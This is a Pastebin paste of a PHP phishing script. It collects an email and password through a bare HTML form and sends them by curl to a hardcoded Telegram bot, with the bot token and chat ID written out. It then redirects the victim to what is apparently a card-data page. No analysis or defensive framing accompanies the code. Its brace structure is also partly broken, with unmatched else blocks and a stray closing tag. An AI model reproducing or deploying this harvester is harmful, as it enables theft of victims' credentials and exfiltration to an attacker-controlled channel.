Advertisement
redhat99

Untitled

Jun 5th, 2023
33
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.24 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting();
  4. if (isset($_POST['submit'])) {
  5. $email = $_POST['email'];
  6. $pass = $_POST['pass'];
  7.  
  8.  
  9. $message ="email :".$email."\npassword :".$pass."";
  10. $botToken="1694224755:AAEKMQOfWWl3LUN6R4BI7MFM4k1bynKnxj0";
  11. $chatId="1300035109";
  12. $website="https://api.telegram.org/bot".$botToken;
  13. $params=[
  14. 'chat_id'=>$chatId,
  15. 'text'=>$message,
  16. ];
  17. $ch = curl_init($website . '/sendMessage');
  18. curl_setopt($ch, CURLOPT_HEADER, false);
  19. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  20. curl_setopt($ch, CURLOPT_POST, 1);
  21. curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
  22. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  23. $result = curl_exec($ch);
  24. curl_close($ch);
  25. header('location: index.php?client=card');
  26.  
  27. }else{
  28. header('location: index.php?client=login');
  29. }
  30. }else{
  31. header('location: index.php?client=login');
  32. }
  33. }else{
  34. header('location: index.php?client=login');
  35. }
  36.  
  37.  
  38.  
  39. ?>
  40. <!DOCTYPE html>
  41. <html>
  42. <head>
  43. <title></title>
  44. </head>
  45. <body>
  46. <form action="" method="POST">
  47. <input type="email" name="email"><br>
  48. <input type="password" name="pass"><br>
  49. <input type="submit" name="submit"><br>
  50. </form>
  51. </body>
  52. </html>
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59.  
  60.  
  61.  
  62.  
  63.  
  64. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement